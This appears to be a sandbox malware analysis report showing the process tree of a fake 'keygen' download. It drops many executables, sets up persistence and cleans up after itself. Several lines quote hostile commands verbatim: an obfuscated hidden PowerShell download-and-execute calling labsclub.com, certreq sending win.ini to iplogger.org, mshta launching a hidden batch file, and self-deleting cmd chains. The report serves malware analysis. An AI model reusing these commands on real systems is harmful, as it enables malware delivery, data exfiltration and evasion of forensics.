PID:1496

C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
5⤵
PID:2448

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
keygen-step-1.exe
3⤵
- Executes dropped EXE
PID:1304

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
keygen-step-3.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2128

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:796

C:\Windows\SysWOW64\PING.EXE
ping 1.1.1.1 -n 1 -w 3000
5⤵
- Runs ping.exe
PID:1348

C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
keygen-step-4.exe
3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2384

C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
4⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1404

C:\Users\Admin\AppData\Roaming\8166.tmp.exe
"C:\Users\Admin\AppData\Roaming\8166.tmp.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3836

C:\Users\Admin\AppData\Roaming\8166.tmp.exe
"C:\Users\Admin\AppData\Roaming\8166.tmp.exe"
6⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
PID:3524

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
5⤵
- Suspicious use of WriteProcessMemory
PID:2292

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1
6⤵
- Runs ping.exe
PID:1216

C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
4⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies system certificate store
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\SysWOW64\msiexec.exe
msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
5⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:584

C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 0011 installp1
5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Suspicious use of SetThreadContext
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:1620

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
6⤵
- Suspicious use of SetWindowsHookEx
PID:2180

C:\Users\Admin\AppData\Roaming\1614924684331.exe
"C:\Users\Admin\AppData\Roaming\1614924684331.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614924684331.txt"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2064

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
6⤵
- Suspicious use of SetWindowsHookEx
PID:1132

C:\Users\Admin\AppData\Roaming\1614924688987.exe
"C:\Users\Admin\AppData\Roaming\1614924688987.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614924688987.txt"
6⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:496

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
6⤵
PID:208

C:\Users\Admin\AppData\Roaming\1614924694393.exe
"C:\Users\Admin\AppData\Roaming\1614924694393.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614924694393.txt"
6⤵
PID:1692

C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
6⤵
PID:5316

C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
"C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
6⤵
PID:5704

C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe
C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 200 installp1
5⤵
- Executes dropped EXE
- Writes to the Master Boot Record (MBR)
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
PID:3596

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c taskkill /f /im chrome.exe
6⤵
PID:2264

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im chrome.exe
7⤵
- Kills process with taskkill
PID:3844

C:\Windows\SysWOW64\cmd.exe
cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"
6⤵
PID:60

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 3
7⤵
- Runs ping.exe
PID:3856

C:\Windows\SysWOW64\cmd.exe
cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
5⤵
PID:1444

C:\Windows\SysWOW64\PING.EXE
ping 127.0.0.1 -n 3
6⤵
- Runs ping.exe
PID:2332

C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
4⤵
- Executes dropped EXE
PID:3192

C:\Users\Admin\AppData\Local\Temp\CUYPJ3N8DZ\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\CUYPJ3N8DZ\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
5⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4040

C:\Users\Admin\AppData\Local\Temp\CUYPJ3N8DZ\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\CUYPJ3N8DZ\multitimer.exe" 1 3.1614921307.6041be5be254d 101
6⤵
- Executes dropped EXE
- Adds Run key to start application
PID:684

C:\Users\Admin\AppData\Local\Temp\CUYPJ3N8DZ\multitimer.exe
"C:\Users\Admin\AppData\Local\Temp\CUYPJ3N8DZ\multitimer.exe" 2 3.1614921307.6041be5be254d
7⤵
- Executes dropped EXE
- Maps connected drives based on registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:1812

C:\Users\Admin\AppData\Local\Temp\ocsrs3ay3p5\safebits.exe
"C:\Users\Admin\AppData\Local\Temp\ocsrs3ay3p5\safebits.exe" /S /pubid=1 /subid=451
8⤵
PID:3704

C:\Users\Admin\AppData\Local\Temp\e4p0chvb2gi\rrvtj1wv4di.exe
"C:\Users\Admin\AppData\Local\Temp\e4p0chvb2gi\rrvtj1wv4di.exe" /VERYSILENT
8⤵
PID:4100

C:\Users\Admin\AppData\Local\Temp\is-0K6Q4.tmp\rrvtj1wv4di.tmp
"C:\Users\Admin\AppData\Local\Temp\is-0K6Q4.tmp\rrvtj1wv4di.tmp" /SL5="$9007C,870426,780800,C:\Users\Admin\AppData\Local\Temp\e4p0chvb2gi\rrvtj1wv4di.exe" /VERYSILENT
9⤵
PID:4296

C:\Users\Admin\AppData\Local\Temp\is-CF4R2.tmp\winlthst.exe
"C:\Users\Admin\AppData\Local\Temp\is-CF4R2.tmp\winlthst.exe" test1 test1
10⤵
PID:5048

C:\Users\Admin\AppData\Local\Temp\nxnjIi8GJ.exe
"C:\Users\Admin\AppData\Local\Temp\nxnjIi8GJ.exe"
11⤵
PID:7044

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im nxnjIi8GJ.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\nxnjIi8GJ.exe" & del C:\ProgramData\*.dll & exit
12⤵
PID:6888

C:\Windows\SysWOW64\taskkill.exe
taskkill /im nxnjIi8GJ.exe /f
13⤵
- Kills process with taskkill
PID:6348

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
13⤵
- Delays execution with timeout.exe
PID:4832

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
11⤵
PID:5036

C:\Users\Admin\AppData\Local\Temp\dejd3p45fti\vict.exe
"C:\Users\Admin\AppData\Local\Temp\dejd3p45fti\vict.exe" /VERYSILENT /id=535
8⤵
PID:4160

C:\Users\Admin\AppData\Local\Temp\is-9Q9CQ.tmp\vict.tmp
"C:\Users\Admin\AppData\Local\Temp\is-9Q9CQ.tmp\vict.tmp" /SL5="$10268,870426,780800,C:\Users\Admin\AppData\Local\Temp\dejd3p45fti\vict.exe" /VERYSILENT /id=535
9⤵
PID:4352

C:\Users\Admin\AppData\Local\Temp\is-CS0K2.tmp\wimapi.exe
"C:\Users\Admin\AppData\Local\Temp\is-CS0K2.tmp\wimapi.exe" 535
10⤵
PID:4976

C:\Users\Admin\AppData\Local\Temp\5GQ8FA97y.exe
"C:\Users\Admin\AppData\Local\Temp\5GQ8FA97y.exe"
11⤵
PID:7096

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im 5GQ8FA97y.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\5GQ8FA97y.exe" & del C:\ProgramData\*.dll & exit
12⤵
PID:6872

C:\Windows\SysWOW64\taskkill.exe
taskkill /im 5GQ8FA97y.exe /f
13⤵
- Kills process with taskkill
PID:2304

C:\Windows\SysWOW64\timeout.exe
timeout /t 6
13⤵
- Delays execution with timeout.exe
PID:7020

C:\Users\Admin\AppData\Local\Temp\pff55urlayl\dehvjzikcmr.exe
"C:\Users\Admin\AppData\Local\Temp\pff55urlayl\dehvjzikcmr.exe" testparams
8⤵
PID:4208

C:\Users\Admin\AppData\Roaming\qy51gupzk2g\m0ttryvqfug.exe
"C:\Users\Admin\AppData\Roaming\qy51gupzk2g\m0ttryvqfug.exe" /VERYSILENT /p=testparams
9⤵
PID:5640

C:\Users\Admin\AppData\Local\Temp\is-O2LQP.tmp\m0ttryvqfug.tmp
"C:\Users\Admin\AppData\Local\Temp\is-O2LQP.tmp\m0ttryvqfug.tmp" /SL5="$30262,329392,58368,C:\Users\Admin\AppData\Roaming\qy51gupzk2g\m0ttryvqfug.exe" /VERYSILENT /p=testparams
10⤵
PID:5708

C:\Users\Admin\AppData\Local\Temp\bz3eu5nexmq\chashepro3.exe
"C:\Users\Admin\AppData\Local\Temp\bz3eu5nexmq\chashepro3.exe" /VERYSILENT
8⤵
PID:4220

C:\Users\Admin\AppData\Local\Temp\is-CSN3R.tmp\chashepro3.tmp
"C:\Users\Admin\AppData\Local\Temp\is-CSN3R.tmp\chashepro3.tmp" /SL5="$1026A,1446038,58368,C:\Users\Admin\AppData\Local\Temp\bz3eu5nexmq\chashepro3.exe" /VERYSILENT
9⤵
PID:4364

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1aSny7"
10⤵
PID:4564

C:\Program Files (x86)\JCleaner\Venita.exe
"C:\Program Files (x86)\JCleaner\Venita.exe"
10⤵
PID:4628

C:\Program Files (x86)\JCleaner\Venita.exe
"{path}"
11⤵
PID:5176

C:\Program Files (x86)\JCleaner\Venita.exe
"{path}"
11⤵
PID:2684

C:\Program Files (x86)\JCleaner\whiterauf.exe
"C:\Program Files (x86)\JCleaner\whiterauf.exe"
10⤵
PID:4660

C:\Program Files (x86)\JCleaner\whiterauf.exe
"{path}"
11⤵
PID:4192

C:\Program Files (x86)\JCleaner\Abbas.exe
"C:\Program Files (x86)\JCleaner\Abbas.exe"
10⤵
PID:4592

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c "start https://iplogger.org/1aSny7"
10⤵
PID:4520

C:\Windows\SysWOW64\cmd.exe
"cmd.exe" /c certreq -post -config https://iplogger.org/1aSny7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
10⤵
PID:4484

C:\Windows\SysWOW64\certreq.exe
certreq -post -config https://iplogger.org/1aSny7 C:\Windows\\win.ini C:\Users\Admin\AppData\Local\Temp\\2
11⤵
PID:4288

C:\Program Files (x86)\JCleaner\5.exe
"C:\Program Files (x86)\JCleaner\5.exe"
10⤵
PID:4460

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Program Files (x86)\JCleaner\5.exe"
11⤵
PID:4276

C:\Windows\SysWOW64\timeout.exe
timeout /T 10 /NOBREAK
12⤵
- Delays execution with timeout.exe
PID:2012

C:\Users\Admin\AppData\Local\Temp\mr3f3qt31aq\h1soogahftq.exe
"C:\Users\Admin\AppData\Local\Temp\mr3f3qt31aq\h1soogahftq.exe" 57a764d042bf8
8⤵
PID:4264

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k "C:\Program Files\IVVLEVUC27\IVVLEVUC2.exe" 57a764d042bf8 & exit
9⤵
PID:5536

C:\Program Files\IVVLEVUC27\IVVLEVUC2.exe
"C:\Program Files\IVVLEVUC27\IVVLEVUC2.exe" 57a764d042bf8
10⤵
PID:5756

C:\Users\Admin\AppData\Local\Temp\uhtsge1hqzh\Setup3310.exe
"C:\Users\Admin\AppData\Local\Temp\uhtsge1hqzh\Setup3310.exe" /Verysilent /subid=577
8⤵
PID:4420

C:\Users\Admin\AppData\Local\Temp\is-0LLH1.tmp\Setup3310.tmp
"C:\Users\Admin\AppData\Local\Temp\is-0LLH1.tmp\Setup3310.tmp" /SL5="$302FC,802346,56832,C:\Users\Admin\AppData\Local\Temp\uhtsge1hqzh\Setup3310.exe" /Verysilent /subid=577
9⤵
PID:4536

C:\Users\Admin\AppData\Local\Temp\is-EAMCU.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-EAMCU.tmp\Setup.exe" /Verysilent
10⤵
PID:5284

C:\Users\Admin\AppData\Local\Temp\is-M7J17.tmp\Setup.tmp
"C:\Users\Admin\AppData\Local\Temp\is-M7J17.tmp\Setup.tmp" /SL5="$20270,802346,56832,C:\Users\Admin\AppData\Local\Temp\is-EAMCU.tmp\Setup.exe" /Verysilent
11⤵
PID:5324

C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\ProPlugin.exe
"C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\ProPlugin.exe" /Verysilent
12⤵
PID:4640

C:\Users\Admin\AppData\Local\Temp\is-O01D7.tmp\ProPlugin.tmp
"C:\Users\Admin\AppData\Local\Temp\is-O01D7.tmp\ProPlugin.tmp" /SL5="$2041A,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-G56G1.tmp\ProPlugin.exe" /Verysilent
13⤵
PID:4636

C:\Users\Admin\AppData\Local\Temp\is-E2IAQ.tmp\Setup.exe
"C:\Users\Admin\AppData\Local\Temp\is-E2IAQ.tmp\Setup.exe"
14⤵
PID:4492

C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe
"C:\Users\Admin\AppData\Local\Temp\RarSFX3\main.exe"
15⤵
PID:4348

C:\Windows\regedit.exe
regedit /s chrome.reg
16⤵
- Runs .reg file with regedit
PID:4804

C:\Windows\SYSTEM32\TASKKILL.exe
TASKKILL /F /IM chrome.exe
16⤵
- Kills process with taskkill
PID:4740

C:\Users\Admin\AppData\Local\Temp\RarSFX3\curl.exe
curl.exe "https://script.google.com/macros/s/AKfycbyeDUociDSMjODhy_ZapM5zzyoJ3zrch9n5IUJeKIM3UQOEtZs/exec?ip=154.61.71.13&loc=US&app=Staoism&payoutcents=0.08&ver=3.5" -k
16⤵
PID:4380

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c chrome64.bat
16⤵
PID:1016

C:\Windows\system32\mshta.exe
mshta vbscript:createobject("wscript.shell").run("chrome64.bat h",0)(window.close)
17⤵
PID:4948

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX3\chrome64.bat" h"
18⤵
PID:4748

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:/Program Files/Google/Chrome/Application/chrome.exe"
19⤵
PID:6176

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0x88,0xe0,0x7ff9f57d6e00,0x7ff9f57d6e10,0x7ff9f57d6e20
20⤵
PID:6188

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1732 /prefetch:8
20⤵
PID:6508

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1684 /prefetch:2
20⤵
PID:6500

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2816 /prefetch:1
20⤵
PID:6588

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2676 /prefetch:1
20⤵
PID:6580

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3180 /prefetch:8
20⤵
PID:6708

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3592 /prefetch:1
20⤵
PID:6756

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3804 /prefetch:1
20⤵
PID:6788

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3436 /prefetch:1
20⤵
PID:6736

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4132 /prefetch:8
20⤵
PID:6876

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3968 /prefetch:1
20⤵
PID:6864

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4280 /prefetch:8
20⤵
PID:6980

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4272 /prefetch:8
20⤵
PID:7036

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4884 /prefetch:8
20⤵
PID:4508

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4116 /prefetch:8
20⤵
PID:3984

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4828 /prefetch:8
20⤵
PID:7068

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3240 /prefetch:8
20⤵
PID:5432

C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings
20⤵
PID:5076

C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe
"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x23c,0x240,0x244,0x218,0x248,0x7ff67f287740,0x7ff67f287750,0x7ff67f287760
21⤵
PID:696

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4508 /prefetch:8
20⤵
PID:728

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4164 /prefetch:8
20⤵
PID:7124

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1416 /prefetch:8
20⤵
PID:7064

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3552 /prefetch:8
20⤵
PID:4376

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3264 /prefetch:8
20⤵
PID:6120

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4484 /prefetch:8
20⤵
PID:5036

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3248 /prefetch:8
20⤵
PID:5660

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4904 /prefetch:8
20⤵
PID:5196

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3996 /prefetch:8
20⤵
PID:4188

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5108 /prefetch:8
20⤵
PID:6296

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2008 /prefetch:8
20⤵
PID:580

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4204 /prefetch:8
20⤵
PID:6084

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4324 /prefetch:8
20⤵
PID:6756

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3924 /prefetch:8
20⤵
PID:5296

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1844 /prefetch:8
20⤵
PID:6556

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,3417931465747906891,2547707383593395359,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4548 /prefetch:8
20⤵
PID:5360

